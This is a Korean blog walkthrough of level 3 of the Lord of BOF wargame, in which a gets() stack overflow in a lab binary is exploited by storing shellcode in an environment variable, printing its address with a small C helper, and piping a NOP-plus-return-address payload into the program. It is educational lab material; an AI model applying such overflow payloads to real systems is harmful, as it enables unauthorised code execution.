ii4gsp
LOB - Level3 [cobolt -> goblin] 본문
소스코드를 보면 이전 레벨과 달라진 점이라면 strcpy() 함수가 gets() 함수로 바꼇다.
gets() 함수는 입력받는 크기를 제한하지 않아 취약점이 발생한다.
파일을 복사하고 gdb로 파일을 열고 분석을해보면 스택구조는
buffer
________
sfp
________
ret
버퍼가 16byte이기 때문에 쉘코드를 환경변수에 등록해주면 된다.
#include <stdio.h>
int main()
{
printf("%p\n", getenv("shellcode"));
return 0;
}
쉘코드의 주소를 출력해줄 소스코드를 작성해주고
쉘코드를 환경변수에 등록해주고 위의 코드를 실행해주면 쉘코드의 주소가 나온다.
쉘코드의 주소를 알았으니 페이로드는 buffer[16byte] + sfp[4byte] + 쉘주소
파이프를 사용하여 입력을 전달해주면 된다.
payload
(python -c 'print "\x90" * 20 + "\xff\xfe\xff\xbf"';cat) | ./goblin
'시스템 해킹 > LOB' 카테고리의 다른 글
LOB - Level6 [wolfman -> darkelf] (0) | 2020.01.14 |
---|---|
LOB - Level5 [orc -> wolfman] (0) | 2020.01.14 |
LOB - Level4 [goblin -> orc] (0) | 2020.01.14 |
LOB - Level2 [gremlin -> cobolt] (0) | 2020.01.13 |
LOB - Level1 [gate -> gremlin] (0) | 2020.01.13 |
Comments